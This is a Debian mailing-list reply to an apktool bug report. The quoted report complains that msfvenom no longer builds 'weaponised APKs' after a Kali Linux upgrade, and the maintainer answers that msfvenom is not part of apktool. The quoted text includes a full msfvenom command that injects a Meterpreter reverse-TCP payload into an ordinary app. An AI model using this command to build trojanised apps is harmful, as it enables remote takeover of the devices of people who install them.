[Android-tools-devel] Bug#915225: apktool fails to rebuild APK after upgrade to Kali Linux 2018.4

Markus Koschany apo at debian.org
Fri Dec 7 00:41:45 GMT 2018

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On Sat, 1 Dec 2018 21:04:18 +0000 Sajid Nawaz Khan <snkhan at outlook.com>
> The Issue
> Since upgrading to a fresh and clean install of Kali Linux 2018.4, msfvenom is unable to generate weaponised APKs. An identical command worked prior to the update.
> How'd you do it?
> `apt-get install zipalign`
> `apt-get install lib32stdc++6 lib32ncurses6 lib32z1++`
> `msfvenom -x /root/Downloads/Diary.apk -p android/meterpreter/reverse_tcp LHOST= LPORT=4444 -f raw -o /root/Desktop/Diary.apk`
> Expected behaviour -- What should happen?
> msfvenom should decompile, inject payload, and recompile the APK. An APK should be generated.


msfvenom is not part of apktool. Thus I don't understand why this should
be a bug in apktool.

I also don't recall that I removed a "jar file" in version 2.3.4.
Without further information we can't debug this issue.



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